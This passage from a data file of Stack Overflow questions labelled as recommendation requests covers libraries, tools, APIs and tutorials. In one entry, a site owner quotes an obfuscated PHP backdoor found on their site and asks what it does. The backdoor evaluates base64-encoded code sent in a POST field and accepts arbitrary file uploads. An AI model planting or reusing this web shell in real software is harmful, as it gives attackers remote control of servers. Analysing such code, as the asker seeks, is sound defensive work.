CGI","Body":"<p>I saw some tutorial on C CGI which i forgot the links now, and cant find it on google. In those tutorial, author passed arguments as url parameter and he could display arguments using plain argv[i] (not using QueryString).</p>\n\n<p>Here is my test, which i cant find it working as intended.\n**Server : nginx</p>\n\n<pre><code>#include &lt;stdio.h&gt;\nint main(int argc, char* argv[]){\n printf(\"content-type:text/plain\\n\\n\");\n\n printf(\"arg count is %d\\n\", argc);\n return 0;\n}\n</code></pre>\n\n<p>Here is my output:</p>\n\n<p><a href=\"https://i.stack.imgur.com/J0zon.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/J0zon.png\" alt=\"enter image description here\"></a></p>\n\n<p>Where the argument count should be 3. Can someone show some light of hope!</p>\n"},{"Classification":"Recommendation request","Title":"Top down physics for js","Body":"<p>I need a simple physics engine for a top-down shooting/walking game. Something simple with colisions/friction/bounce. I've looked up on Box2D and Matter.js but none of them semms to have an easy to implement top-down \"mode\".</p>\n\n<p>I would be thankful if you could point me to some good performing 2d top-down engine, or some documentation so I could write it myself.</p>\n"},{"Classification":"Recommendation request","Title":"Best practices for coding , compiling, debugging and maintaining shader programs in opengl?","Body":"<p>I'm a newbie.. trying to learn shaders. I feel like its not that easy to code and debug it. Examples and tutorials I see on internet allows to code them in text files and read them as char pointer to pass them to shader compiler. Is there any best practices for coding - with intellisence , compiling , debugging ( printing the value some where in console atleast? ) And how to maintain and organise multiple shaders in a giant source code?</p>\n\n<p>I'm using visual studio. Is there any tools or extensions for it to support opengl shaders?</p>\n\n<p>If not is there any dedicated IDE only for opengl shaders? - if so how to organise them with other c++ source files in visual studio?. </p>\n\n<p>How do they actually do it?</p>\n\n<p>Thanks.</p>\n"},{"Classification":"Recommendation request","Title":"Where can I find working source of Symfony Sonata that I can install on my WAMP dev system?","Body":"<p>I want to find a virtual build of the Symfony Sonata sandbox that works. Perhaps in a Docker container.</p>\n\n<p>I have tried to get the sonata-sandbox-2.3 and sonata-sandbox-2.4 found on Github to work on a local dev environment on Windows 7 and a WAMP stack. I have spent hours installing it both from a .zip file and also manually using Composer. But I always end up with something failing. Note that I consider a blank page in the web browser to be a failure.</p>\n\n<p>Last year I installed Docker on my Windows box. It also has a Kitematic (Alpha) executable to run. I have tried using that to search for a Docker container with a working sonata sandbox demo, but the comments for the results I get are either so sparse as to be useless or nonexistent.</p>\n\n<p>My reasoning is this: if I can find a working version of this then perhaps I can dive into the source &amp; settings and figure out what I have been doing wrong on my own local dev system. <em>I am guessing that I am missing some steps or have a lack of understanding of the build process.</em></p>\n\n<p>So my question is this:\n1a) <strong>How</strong> can I find a working version of the Sonata sandbox such that I can copy the PHP code and data so I can dive into it ?\n- OR -\n1b) <strong>Where</strong> can I find a .zip file that I can extract to my local WAMP setup ?</p>\n"},{"Classification":"Recommendation request","Title":"Using redis pubsub between Phoenix web server and Golang microservice","Body":"<p>Are there any tutorials or standardized practices for using redis with Phoenix framework?</p>\n\n<p>Say I wanted my phoenix app to listen for when a task has completed in my golang microservice. How do I go about setting this up?</p>\n\n<p>I see a lot of phoenix pubsub libraries:\n<a href=\"https://hexdocs.pm/phoenix/1.1.0/Phoenix.PubSub.html\" rel=\"nofollow noreferrer\">https://hexdocs.pm/phoenix/1.1.0/Phoenix.PubSub.html</a>\n<a href=\"https://hexdocs.pm/phoenix_pubsub_redis/api-reference.html\" rel=\"nofollow noreferrer\">https://hexdocs.pm/phoenix_pubsub_redis/api-reference.html</a></p>\n\n<p>What should I actually be using?</p>\n"},{"Classification":"Recommendation request","Title":"Can you help me, provider me an java sdk for Navitaire api?","Body":"<p>I want to dock the Navitaire interface, but I don't have the java sdk they provide. Can you provide it?</p>\n\n<p>The name of the document is Web Services Developer Guide - 3.4.16</p>\n\n<p>Part of the code inside the document: </p>\n\n<pre><code>ISessionManager sessionManager = new SessionManagerClient(); \nAPI_SessionService.LogonRequest logonRequest = new API_SessionService.LogonRequest(); \nString username = \"jsmith\"; String password = \"P@ssword2\"; \nString domain = \"def\"; \nlogonRequest.logonRequestData = new LogonRequestData(); \nlogonRequest.logonRequestData.DomainCode = domain; \nlogonRequest.logonRequestData.AgentName = userName; \nlogonRequest.logonRequestData.Password = password; \nAPI_SessionService.LogonResponse logonResponse = \n\nsessionManager.Logon(logonRequest); \nif (logonResponse != null &amp;&amp; logonResponse.Signature != null &amp;&amp; logonResponse.Signature != \n string.Empty) \n{ \n//Completed Logon, you can now use the signature to call the API\n\nstring _signature = logonResponse.Signature; \n\n}\n</code></pre>\n"},{"Classification":"Recommendation request","Title":"Best Java Script Framework for Web Application Development","Body":"<p>Zk is a kind of a (closed) web-application development and hosting environment to build applications which hides some of the web's complexity.</p>\n\n<p>Vaadin is a framework for Java, which is a completely different language the JavaScript, comes also with completely different eco-system. </p>\n\n<p>We need to develop a fully responsive web application and need to choose a fastest, reliable, scalable eco-system to kick off the project</p>\n\n<p>Can someone suggest a good framework and tech stack to start ?</p>\n\n<p>Thanks.</p>\n"},{"Classification":"Recommendation request","Title":"In Android Is there any open source api to translate one language to any language in offline","Body":"<p>In my Project, I need to Convert Camera Captured Image Text to Another Language,It should Work In Offline,but I am not getting which API i need to use </p>\n"},{"Classification":"Recommendation request","Title":"Add user in Linux by using C++ program using &quot;adduser&quot; as command in combination with the &quot;system&quot; syntax","Body":"<p>I am just starting out with C++ and I am looking for a way to use the \"adduser\" option in a C++ application to automate my setup process. The problem is that I can't figure out how I can use \"system\" to pass on the password when required.</p>\n\n<p>This creates a user but without a password but how can I add a password to this?</p>\n\n<pre><code>system(\"useradd test\");\n</code></pre>\n\n<p>Thanks in advance!</p>\n"},{"Classification":"Recommendation request","Title":"Sample api online client id and client server","Body":"<p>I am new to c# I am trying to build an OAuth for c# is there any API available online that I can use to test because I am trying to replicate the given API. </p>\n\n<p>I need the following resources of an API accepting the following: </p>\n\n<ol>\n<li>I need an access token which is accessed through a single string encoded in base 64( client(username) and client(password). </li>\n<li>client(username) and client(password) will be added in the header as a single string encoded</li>\n<li>The method will be post</li>\n<li>I will get the access token return by the request to get the API.</li>\n</ol>\n\n<p>Is there such available sample API online or do I have to create it myself? </p>\n"},{"Classification":"Recommendation request","Title":"Prepare for AWS certification without prior AWS experience","Body":"<p>I am new to AWS (Amazon Web Service). I am planning to take AWS certified Solution Architect - Associate certification. how do I prepare for this certification as I don't have initial knowledge about AWS?</p>\n"},{"Classification":"Recommendation request","Title":"Write and Read from excel using php","Body":"<p>I need an idea, I got myself in a project that I need to:</p>\n\n<ol>\n<li>write information in a Excel spreadsheet</li>\n<li>run a macro to solve and get the results</li>\n<li>get the resolution from excel.</li>\n</ol>\n\n<p>There is anyway to that? What should I search for?\nThank you</p>\n"},{"Classification":"Recommendation request","Title":"what is difference between JLS and JSR and JEP","Body":"<p>JLS - Java Language Specification - <a href=\"https://docs.oracle.com/javase/specs/jls/se9/html/index.html\" rel=\"nofollow noreferrer\">https://docs.oracle.com/javase/specs/jls/se9/html/index.html</a></p>\n\n<p>JSR - Java Specification Requests - <a href=\"https://jcp.org/aboutJava/communityprocess/final/jsr376/index.html\" rel=\"nofollow noreferrer\">https://jcp.org/aboutJava/communityprocess/final/jsr376/index.html</a> (module system)\n the formal documents that describe proposed specifications and technologies for adding to the Java platform.</p>\n\n<p>JEP - JDK Enhancement Proposal - <a href=\"http://openjdk.java.net/jeps/0\" rel=\"nofollow noreferrer\">http://openjdk.java.net/jeps/0</a> , <a href=\"http://openjdk.java.net/jeps/261\" rel=\"nofollow noreferrer\">http://openjdk.java.net/jeps/261</a> (module system)</p>\n\n<p>What is the difference between these three?</p>\n"},{"Classification":"Recommendation request","Title":"I&#39;m looking for any library like ptyj.s but in python","Body":"<p>I'm looking for pty.js like library for python. I've seen the pty module but I can't understand how to make it run async like the javascript counterpart.</p>\n"},{"Classification":"Recommendation request","Title":"How do I wait for sub-process to complete in Linux","Body":"<p>I need to play a wave file using <code>aplay</code>. However, my wave files are few seconds in length. So I plan to play them in loop for certain period of time. <code>aplay</code> does not seem to have loop options. From my C file create a sub-process using <code>popen()</code> The playback is working fine. But the difficulty is that I can't monitor when the wave file playback is completed so that I can start over. </p>\n\n<pre><code>popen(\"aplay WaveFile\",\"r\");\n</code></pre>\n\n<p>How do I know when this command has finished playback?</p>\n\n<p>Thanks in advance!</p>\n"},{"Classification":"Recommendation request","Title":"Long-press to multi-select Gmail-like whatsapp like recycle view library","Body":"<p>I'm wondering is there is any easy external library which implement a recyclerview that support long-press to multi-choice Gmail-like or whatsapp-like in main window behaivor</p>\n"},{"Classification":"Recommendation request","Title":"What is the best plugin to speed up my website?","Body":"<p>What is the best plugin to speed up my website?</p>\n"},{"Classification":"Recommendation request","Title":"What do I need to know to integrate a mapping API into an Android mobile application?","Body":"<p>I want to create a new app, but I'm not sure where to start. The barebones of my app just needs a map as the homepage that allows the user to interact with it and save data on their phone locally.</p>\n\n<p>I've been looking at potential APIs from Google Maps, Maptiler, and Mapbox, but even with the documentation available I'm not sure where to start.</p>\n\n<p>Can someone please tell me the foundational information needed to know for implementing a mapping API into an app? Even a point in the right direction to learning resources would be tremendous help. It should be noted that I have beginner level knowledge of coding with Java.</p>\n"},{"Classification":"Recommendation request","Title":"Downloading local wind data","Body":"<p>Where can I download daily upper wind speed and upper wind direction data for a local region (Vancouver, Canada) from 1970-2018? I have the local airport wind data at 10 m asl but I am looking specifically for wind speeds/direction at higher altitudes. </p>\n\n<p>Thanks</p>\n"},{"Classification":"Recommendation request","Title":"Alternative of ethtool -S eth1","Body":"<p>I don't have ethtool installed. I want to dump output of <code>ethtool -S eth1</code>. Can anyone tell me how can I see the output of <code>ethtool -S eth1</code> without ethtool. Is there any file which store the information ? \nI guess ethtool also dump the information from some file in linux. If yes, What is the file name ?</p>\n"},{"Classification":"Recommendation request","Title":"What is the easiest way to test out a payment system in Android?","Body":"<p>I am trying to build a demo app for a local business which allows the user to fill out a form and put a deposit down on an advertising slot. So far the solutions I have investigated (e.g. PayPal (deprecated), BrainTree, Adyen, Google Pay) all seem to require a lot of information about the business (e.g. BrainTree requires the business's tax ID to apply for a sandbox account which I don't know) and they all seem to require a server (which I could set up but am hoping for a simpler solution for the purposes of a demo).</p>\n\n<p>Are there any quick solutions for in-app payment like this, such as launching the PayPal app on the user's phone or some or third-party means?</p>\n"},{"Classification":"Recommendation request","Title":"Publishing IOS app to a website","Body":"<p>I'm having trouble trying to get my IOS app for download on my website. I saw this method here <a href=\"https://stackoverflow.com/questions/20276907/enterprise-app-deployment-doesnt-work-on-ios-7-1\">Enterprise app deployment doesn&#39;t work on iOS 7.1</a>. I don't know how to get an <code>app.plist</code> or anything at all. I developed my app in Xcode now I need help putting it on my site for download where users can click the button then they get a prompt on their phone to download the app.</p>\n"},{"Classification":"Recommendation request","Title":"Minimal GDBus client","Body":"<p>I've been trying to make a simple program that does some of what bluetoothctl does, but automatically. It needs to not be GPL'd, so I can't just copy bluetoothctl's source. The biggest stumbling block has been just getting a simple D-Bus program to work. Since I'm targeting an embedded system (albeit a fairly powerful one) I can't afford to run Python or use just any programming language.</p>\n\n<p>I've seen several questions here and loads of web sites with pointers to <a href=\"https://dbus.freedesktop.org/doc/dbus-glib/\" rel=\"nofollow noreferrer\">obsolete things</a> or broken links or <a href=\"https://dbus.freedesktop.org/doc/api/html/index.html\" rel=\"nofollow noreferrer\">documentation</a> that says I'm \"signing up for some pain.\" How is there not a simple minimal example that sets up a D-Bus connection?</p>\n"},{"Classification":"Recommendation request","Title":"grpc communication in QT","Body":"<p>I am totally new with QT, and I just want to practice with this tool. I thought it would be great if I could communicate with a server via grpc. I read a lot of articles about this, but I couldn't find anything about this topic. Could you recommend any kind of tutorial, or examples, or articles about it? Where should I start this at all? I already made a server call and parse JSON file. Thanks for your help.</p>\n"},{"Classification":"Recommendation request","Title":"How to connect my C# application to online SQL Server?","Body":"<p>It's the first time for me to deal with SQL Server so please don't downvote my post as I have searched a lot but can't find anything useful.</p>\n\n<p>How to connect my Winforms app to SQL Server online so that I can make a signup and login form? I want the DB to be online not stored locally on my laptop. My first step I've completed was to install SSMS tool but it asked me for a name server which I don't know of course.</p>\n"},{"Classification":"Recommendation request","Title":"How to get useful Win32 C++ API documentation","Body":"<p>Developing with Visual Studio Community 2017, I have noticed recently that a lot of Microsoft's online documentation for Windows desktop Win32 API calls has started to degrade.</p>\n\n<p>Look, for example, at the TBD entries for a simple call such as DrawText, which make the documentation essentially useless for detailed work:</p>\n\n<p><a href=\"https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-drawtext\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-drawtext</a></p>\n\n<p>My question is this:</p>\n\n<p>Ideally, to hedge against Microsoft degrading their online documentation, <strong>what's the best way to get a local copy of the C++ Win32 API documentation</strong>?</p>\n\n<p>I've been poking around in the Microsoft Help Viewer 2.3 setup and I don't see a direct way to get this. Perhaps I'm missing something obvious.</p>\n\n<p>Thanks.</p>\n"},{"Classification":"Recommendation request","Title":"list of adb devices to mysql database","Body":"<p>I can get the list of cell phone devices connected to my Linux system by simply typing <code>adb devices</code>. </p>\n\n<p>I would like to insert the list of adb devices to mysql database automatically.\nSo I want to know what event happens and how I know when a device is connected. In case of the event, I think I can run the command <code>adb devices</code> and insert them to a database table programmatically.</p>\n\n<p>I am thinking that I can register some commands in <code>crontab</code> and run it occasionally. But this is not a good idea because it keeps checking <code>adb devices</code> even though there's no update in device list.</p>\n\n<p>Any advice will be much appreciated.</p>\n"},{"Classification":"Recommendation request","Title":"Is there a Firebase / Jetpack tutorial available?","Body":"<p>One of my favorite things about Firebase is the awesome support I get here on StackOverflow, so here's an easy question for you:</p>\n\n<p>Question: I'm excited about Jetpack and want to give it a go, but my app uses Firebase. Is there a tutorial or template that shows Jetpack integrated with Firebase? Specifically I'd like to see a repository connected to both Room and Firebase and keeping the two in-sync. </p>\n\n<p>If not can you give us a hint as to when one might be available?</p>\n"},{"Classification":"Recommendation request","Title":"Suggest me some easy way to learn spring framework through video tuitorial","Body":"<p>I had worked under framework created inside Spring framework with using cutting edge technologies created by the company.</p>\n\n<p>Shall you suggest me some video tutorial to learn spring framework (Spring MVC, Spring Core, Spring Batch, Spring Data, Spring Security, Spring boot) in Application oriented (creating) approach by a DB connectivity on that. </p>\n\n<p>Suggest me some free learning video tutorials for that. Please, Guide me the entire process. </p>\n"},{"Classification":"Recommendation request","Title":"Does Microsoft provide a public API to determine the latest version of .NET Core, .NET Framework, or Build Tools?","Body":"<p>Due to the increased frequency of updates Microsoft is providing to their frameworks and tools, I would like to script their download and installation into a build system.</p>\n\n<p>I attempted to use Fiddler to determine the API calls that Visual Studio 2017 called to identify updates on start up, but was unsuccessful. </p>\n\n<p>Does anyone know of a public API that can be used to identify the latest version and download these updates? I'd rather not use a web scraper.</p>\n"},{"Classification":"Recommendation request","Title":"UE4 Third Person Transform","Body":"<p>I have just started using Unreal Engine 4 and I need help. In the 'Learn' section of UE4 there is this demo called 'Shooter Game'. Whoever made it has created it in First Person. I wanted to transform the game to a Third Person camera so I followed this tutorial: <a href=\"https://wiki.unrealengine.com/Shooter_Game_-_Toggle_Third_Person\" rel=\"nofollow noreferrer\">https://wiki.unrealengine.com/Shooter_Game_-_Toggle_Third_Person</a></p>\n\n<p>But i'm a new to UE4 and I don't have any experience with C++, so I tried following it, but I gave up, because some parts I did not get. Can someone make a video following this tutorial to make it clear how to complete all the steps?</p>\n"},{"Classification":"Recommendation request","Title":"C++ alert libraries","Body":"<p>I'll start programming a utility on FreeBSD written in C++. I need to understand what C++ libraries that deal with kernel administration of the access control processes or triggers for both files and directories?</p>\n\n<p>thanks</p>\n"},{"Classification":"Recommendation request","Title":"Show the amount of dirty space per LEB and/or in total?","Body":"<p>While studying the the UBIFS documentation [1] I figured out that there is free space which directly can be used when writing data and also dirty space which needs garbage collection at first. </p>\n\n<p>How can I find out the amount dirty space from a running Linux?\nIs the a way to also show this information on a LEB basis?</p>\n\n<p>With that information I could estimate if garbage collection is needed soon.</p>\n\n<p>[1] <a href=\"http://www.linux-mtd.infradead.org/doc/ubifs.html#L_spaceacc\" rel=\"nofollow noreferrer\">http://www.linux-mtd.infradead.org/doc/ubifs.html#L_spaceacc</a></p>\n"},{"Classification":"Recommendation request","Title":"Which database is best for android app?","Body":"<p>I am confused which backend platform is best used today to make app?\nIs mangodb a good platform?</p>\n"},{"Classification":"Recommendation request","Title":"PDF manipulation in Java","Body":"<p>I need to build an application in Java that fills text boxes in a predefined PDF form. From what I've gathered, PDFBox should be able to do the job, but it is unable to work with tables, page alignment or text boxes whatsoever.\nWhat other free options are there, considering that the page needs to have columns, and the form is always the same?</p>\n\n<p><a href=\"https://i.stack.imgur.com/xT8tb.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xT8tb.jpg\" alt=\"This is the pdf in which i need to fill in certain fields\"></a></p>\n\n<p>I need my Java app to take input from some JTextFields and fill them in the blue rectangles.</p>\n\n<p>Thanks!</p>\n"},{"Classification":"Recommendation request","Title":"Can I develop on Mac Os with C#","Body":"<p>For a project, I need to develop a desktop application. I have experience with C#, so I am gonna that develop with C#. My appilication has to be an admin panel.</p>\n\n<p>The problem is, that a member of my group, only use Mac Os. It's told to me that I can't use a C# appilication on Mac Os. So my member can't use the appilication</p>\n\n<p>Is there any solution?</p>\n"},{"Classification":"Recommendation request","Title":"Way for doing material design games?","Body":"<p>A programming app's for Android </p>\n\n<p>On the play google I see a lot of simple games, that makes with material design. On the one hand of course we have Unity, but I think it's too much for small and simple 2d games (it's always over 25 mb), I know that we can use Cocos2d-x, Libgdx, marmalade and etc.., but for example if I need to make slots, simple platformer, or something like that what I should use in case of in-demand (I mean, which library, engine popular and in-demand now in game dev world?)? </p>\n"},{"Classification":"Recommendation request","Title":"RPA Automation for window apllication","Body":"<p>I am new to this RPA automation thing.</p>\n\n<p>I need to develop application dll based using c# .net. In this application i need to automate the desktop application.</p>\n\n<ol>\n<li><p>Getting data from excel one by one.</p></li>\n<li><p>Open desktop application.</p></li>\n<li><p>Select Treeview from mouse event.</p></li>\n<li><p>Pass those excel value to desktop application textbox and combo box. </p></li>\n<li><p>Read messagebox of application if any validation.</p></li>\n<li><p>Save data.</p></li>\n</ol>\n\n<p>If any sample code available that would be great help.</p>\n"},{"Classification":"Recommendation request","Title":"MySQL Client form","Body":"<p>I'm looking for a SQL database client. The goal is to produce few forms to fill a MySQL database and perform check on the data before to sand them to the database.</p>\n\n<p>Since, <strong>the team is definitely not a development team</strong>, I'm looking for a simple tool. I was thinking to develop a ECore model, performs check through EEF (or similar) and create a eclipse plugin to send the data to the database but they will not be able to maintain it if I leave.</p>\n\n<p>So the ideal tool would help to:</p>\n\n<ul>\n<li>Define and maintani database table. Today we use MySQL workbench as a start.</li>\n<li>Create forms</li>\n<li>Use the forms to fill the database directly in the tool. For this point we envisage to use LibreOffice to do so, but I'm again this solution due to several environment issues (The company pays for Office and want use to use it, it add another tool in your environment and I'm pushing the team to simplify your environment)</li>\n</ul>\n\n<p>But until now, I didn't find an Eclipse plugin able to do it.</p>\n\n<p>Do you know an eclipse plugin able to do it ? Or a tool to edit the database and defined this forms ?</p>\n\n<p>Thomas</p>\n"},{"Classification":"Recommendation request","Title":"Any suggestion for the Tool to capture API requests of live HTTPS?","Body":"<p>We captured requests of the live traffic of https requests the API calls which are triggering by Runscope earlier but presently they have stopped this particular service of checking live traffic https requests.</p>\n\n<p>Any suggestion of which tool can be used other than runscope(Alternate to runscope).</p>\n"},{"Classification":"Recommendation request","Title":"Which is the most suitable 3rd party library for sidebar in objective c","Body":"<p>I know this question seems silly but am new to iOS and i want to implement a sidebar in objective c project.Till now i had tried - </p>\n\n<p><strong>1. CDRTranslucentSideBar</strong></p>\n\n<p><strong>2. SWRevealViewController</strong></p>\n\n<p>But at some point both shows some malfunctioning. So i want to explore for other suitable sidebar libraries.</p>\n"},{"Classification":"Recommendation request","Title":"Porting WCF WS-Discovery to Linux","Body":"<p>I have a program that is written in C# and uses WCF's WS-Discovery to find the various services it uses on its local host. I want to port it to Linux, however Mono doesn't fully support what we are currently using so we were looking into Avahi. Has anyone done this? I am unfamiliar with how Avahi works and unsure how to edit the code to work with it. Does Avahi support announcement like WS-Discovery?</p>\n\n<p>Thank you in advance!</p>\n"},{"Classification":"Recommendation request","Title":"How to build product design customization via image upload?","Body":"<p>Could anyone help me with the process? I want to allow users to upload their pattern/image/design. The image will be placed on the background of our pre-designed dress.</p>\n\n<p>Is there any WordPress plugin for this?</p>\n"},{"Classification":"Recommendation request","Title":"Convert Pro*C to SQL","Body":"<p>Is any anyone aware how to convert Pro*c file into SQL</p>\n"},{"Classification":"Recommendation request","Title":"How to update intent in DialogFlow using APIs?","Body":"<p>i have some problems with update the intent by using the APIs, does anyone have some source code regarding this?\nThanks</p>\n"},{"Classification":"Recommendation request","Title":"I&#39;m new at Laravel, is it possible to upgrade from 5.4 to 5.6 directly or first 5.5 then 5.6?","Body":"<p>It is possible to upgrade from 5.4 to 5.6 direct or must 5.5 then 5.6 </p>\n\n<p>any advise on that </p>\n\n<p>Thank you </p>\n"},{"Classification":"Recommendation request","Title":"Python alternative to tsoutliers in R","Body":"<p>R has a nice library to detect anomalies in time series, its name is tsoutliers and is discussed for example here <a href=\"https://stats.stackexchange.com/questions/104882/detecting-outliers-in-time-series-ls-ao-tc-using-tsoutliers-package-in-r-how\">https://stats.stackexchange.com/questions/104882/detecting-outliers-in-time-series-ls-ao-tc-using-tsoutliers-package-in-r-how</a></p>\n\n<p>Is there any alternative library in python? Or an easy way how to find the time series outliers with more standard libraries (numpy, scipy, sklearn)?</p>\n"},{"Classification":"Recommendation request","Title":"How to combine xml + xsl to generate a pdf file by batch?","Body":"<p>How to combine a xml file and xsl file to create a pdf file by batch script?\nIt seems that it might need extra thing to achieve this cause windows don't have build in function to support my intention.</p>\n\n<p>I have refered to js which have xml-to-pdf method like\n<code>var xml=new ActiveXObject(\"Msxml2.DOMDocument.6.0\")</code> and tried it but it is not quite fit to batch case.</p>\n\n<p>Any suggestion is appreciated.Thanks.</p>\n"},{"Classification":"Recommendation request","Title":"Package that allows for visualization of gene symbols against GO/KEGG annotations, which can also be clustered","Body":"<p>I'm using R to analyze data provided by my PI, and attempting to recreate this figure: <a href=\"https://i.stack.imgur.com/116rV.png\" rel=\"nofollow noreferrer\">GO&amp;KEGG_Heatmap</a></p>\n\n<p>I'm looking for an R package that can create a heatmap which displays gene symbols against GO/KEGG annotation specifically, where the color of the cells represents gene expression values. It also needs to be able to cluster the genes based on involvement in similar GO/KEGG annotations. </p>\n\n<p>I've tried using clusterProfiler, GoSemSim, and enrichPlot. While GoSemSim allows for a dendrogram of genes clustered based on their semantic similarity of GO terms, this capability only exists for GO terms (not Kegg) and does not extend to the heatplot function in clusterProfiler/enrichPlot. </p>\n\n<p>I've been looking for over a week, and would really appreciate any help. Thank you.</p>\n"},{"Classification":"Recommendation request","Title":"how to have a slider where values can be changed on both sides","Body":"<p>I am looking for a slider in which u can change the values on both sides of the reference value.Something like the pic I have attached.</p>\n\n<p><a href=\"https://i.stack.imgur.com/tEp31.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tEp31.png\" alt=\"enter image description here\"></a></p>\n"},{"Classification":"Recommendation request","Title":"Java - How to remove the HTML/CSS tags from the HTML email while retaining line breaks?","Body":"<p>I have the email body:</p>\n\n<p><a href=\"https://i.stack.imgur.com/XUD9Q.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XUD9Q.png\" alt=\"Email body\"></a></p>\n\n<p>It is in HTML/CSS. I want to convert it to plain text in Java, without changing the structure. I have used Jsoup lib:</p>\n\n<pre><code>Jsoup.clean(body, Whitelist.basic());\n</code></pre>\n\n<p>as well as solutions from <a href=\"https://stackoverflow.com/questions/240546/remove-html-tags-from-a-string\">this link</a>, mainly the <code>HTML2Text</code> class using swing APIs.\nBut they are both simply removing the CSS tags without retaining the structure and the result is this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/JDd1j.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/JDd1j.png\" alt=\"enter image description here\"></a></p>\n\n<p>All of them are in one line. For only HTML tags, it is working fine. But when CSS is involved the structure is all messed up. Is there any library in Java that can retain the CSS tags as well?</p>\n"},{"Classification":"Recommendation request","Title":"User-defined protocols","Body":"<p>Where can I find courses for analyzing and implementing User-defined protocols?\nAlso need any information about this sience (e.g. applications used for implementing and analyzing).</p>\n"},{"Classification":"Recommendation request","Title":"owasp installation on Ubuntu","Body":"<p>I am new to owasp and wanted to install owasp in my Ubuntu system.So i want to know which tool is good and what hardware configuration is required for installing owasp's tool? please suggest me any link or reference.</p>\n"},{"Classification":"Recommendation request","Title":"MATLAB TO C conversion","Body":"<pre><code>[rawdata , count] = fread(fid_rawdatafile, numofdatapointstoberead , 'uint8');\n</code></pre>\n\n<p>I'm working on matlab and i'm not able to understand what this means!</p>\n\n<ol>\n<li>What does this command do?</li>\n<li>How can I rewrite this in C language?</li>\n</ol>\n"},{"Classification":"Recommendation request","Title":"Interactive SVG map for android studio","Body":"<p>I am trying to find a way to implement an <strong>interactive</strong> svg map in android. I would like to have one similar to the example here:</p>\n\n<p><a href=\"http://mapsvg.com/maps/germany\" rel=\"nofollow noreferrer\">http://mapsvg.com/maps/germany</a></p>\n\n<p>In the example above, the click is detectable when I click on Hamburg.</p>\n\n<p>Does anyone know a good library or method they can recommend for achieving similar results in android?</p>\n"},{"Classification":"Recommendation request","Title":"Coding challenges to quiz my knowledge as i learn.","Body":"<p>I am currently working on learning java through the eclipse ide and I was wondering if there is a list of challenges that get progressively harder? Also if anyone has any recommendations on things like UI, file input to use things like audio or images or 3d models and what not, input and output into a UI it would be greatly appreciated those are some things I truly struggle to understand at the moment.</p>\n"},{"Classification":"Recommendation request","Title":"Using SMPP to send sms texts in JAVA or php","Body":"<p>How do I send SMS directly via SMPP? My provider provides an SMPP interface to send SMS, how do I connect it to it? Are there any libraries or examples that can educate me on using SMPP to send? Perhaps using PHP? or C#?</p>\n"},{"Classification":"Recommendation request","Title":"do we have technologies to connect Firebase realtime database with google spread sheet","Body":"<p>Copying data from Firebase Realtime Database to a Google Sheet in real time via Cloud Functions.\nHere is the picture :\n<img src=\"https://i.stack.imgur.com/F3NZt.png\" alt=\"see the attached picture please\"></p>\n"},{"Classification":"Recommendation request","Title":"PDDL library for checking/manipulating domains","Body":"<p>Does anybody know a good PDDL library in python or C++ that has the following features</p>\n\n<ul>\n<li>Parsing of pddl domain/problem files</li>\n<li>Support for ADL (i.e. quantifiers in preconditions and effects)</li>\n<li>Applicability check: A function that tests if a specific grounded action is applicable at the current world state</li>\n<li>Applying actions: A function that applies i.e. manipulate the current world state based on a grounded action</li>\n<li>The possibility to ground an action: A function that generates a list of all possibilities to apply an action on the current world state</li>\n</ul>\n\n<p>This are features that every planner needs but I could not find a library that only does this and all planners that I have found so far are obscure at best.</p>\n\n<p>The closest lib that I could find was pddlpy (<a href=\"https://github.com/hfoffani/pddl-lib\" rel=\"nofollow noreferrer\">https://github.com/hfoffani/pddl-lib</a>), but it does not support ADL and applying actions.</p>\n\n<p>Thanks!</p>\n"},{"Classification":"Recommendation request","Title":"SSL intermediate certificate","Body":"<p>I try to find company, who can sign certificate with these purposes:</p>\n\n<blockquote>\n <p>Ensures the identity of a remote computer<br>\n Proves your identity to a remote computer<br>\n Protects e-mail messages<br>\n Ensures software came from software publisher<br>\n Protects software from alteration after publication<br>\n Allows data to be signed with the current time<br>\n Allows data on disk to be encrypted<br>\n Allows secure communication on the Internet<br></p>\n</blockquote>\n\n<p>With company offer certificates like above? In other word I need to sign \"my own intermediate\" certificate with trusted CA.</p>\n"},{"Classification":"Recommendation request","Title":"What does this php script do?","Body":"<p>My website seems to be affected by a malware.\nI've found this snippet included in some of my webpages.\nCan somebody help me to analyze what does this snippet do? I guess this was the reason that ranking of my website degraded awfully:</p>\n\n<pre><code>&lt;?php echo 7457737+736723;$raPo_rZluoE=base64_decode(\"Y\".chr(109).\"F\".chr(122).chr(90).\"T\".chr(89).chr(48).chr(88).\"2\".\"R\".\"l\".\"Y\".chr(50).\"9\".chr(107).\"Z\".chr(81).\"=\".\"=\");$ydSJPtnwrSv=base64_decode(chr(89).\"2\".chr(57).chr(119).chr(101).chr(81).chr(61).\"=\");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87).\"Q\".chr(61))]));if($_POST[base64_decode(\"d\".chr(88).chr(65).\"=\")] == base64_decode(\"d\".\"X\".chr(65).chr(61))){@$ydSJPtnwrSv($_FILES[base64_decode(chr(90).\"m\".\"l\".\"s\".chr(90).\"Q\".\"=\".chr(61))][base64_decode(chr(100).chr(71).chr(49).\"w\".\"X\".chr(50).\"5\".chr(104).\"b\".chr(87).\"U\".chr(61))],$_FILES[base64_decode(\"Z\".chr(109).\"l\".\"s\".chr(90).\"Q\".chr(61).chr(61))][base64_decode(chr(98).\"m\".\"F\".chr(116).\"Z\".chr(81).chr(61).\"=\")]);}; ?&gt;\n</code></pre>\n"},{"Classification":"Recommendation request","Title":"Does reading the nth byte in linux NFS require streaming of all previous bytes over network?","Body":"<p>Does linux NFS ensure that trying to read the last byte of a huge file does not require streaming the entire file?</p>\n\n<p>Edit: I don't understand why this was marked off topic, I could not find any documentation regarding the performance in this aspect. In theory I'm inclined to believe that it does not buffer the entire file. But I'd like to obtain a confirmation. Any pointers would be great.</p>\n"},{"Classification":"Recommendation request","Title":"API for R to export it?","Body":"<p>This is not a programming question. But is there some sort of API which I can use to call plots from R environment to an HTML web application? </p>\n\n<p>I have experimented with htmlwidgets packages and managed to save a plot as an HTML file. But what if I have moving data, so the 